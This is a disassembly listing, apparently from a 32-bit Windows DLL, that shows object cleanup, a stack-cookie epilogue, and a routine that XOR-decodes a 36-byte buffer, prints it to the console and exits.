call dword [eax + 8]
mov dword [0x10072734], 0
mov ecx, dword [0x10072728]
test ecx, ecx
je 0x100477e1
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x10072728], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x10047817
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1004780d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1004780d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100497d6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10049591
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x58]
push eax
call fcn.10047a00
mov edi, eax
cmp byte [edi + 0x23], 0
je 0x100479d0
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp esi, 2
jl 0x100479a0
movaps xmm0, xmmword [0x1006f4d0]
mov esi, 4
movaps xmm4, xmmword [0x1006f430]
mov edx, edi
movaps xmm3, xmmword [0x1006f550]
sub esi, edi
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov eax, dword [ebp - 0x80]
nop
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x80]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x20
jl 0x10047890
mov dword [ebp - 0x30], ecx
cmp ecx, 0x24
jge 0x100479d0
nop dword [eax]
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
inc ecx
xor byte [esi], al
mov dword [ebp - 0x30], ecx
cmp ecx, 0x24
jl 0x100479a0
mov ecx, dword [ebp - 0x8c]
mov edx, edi
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3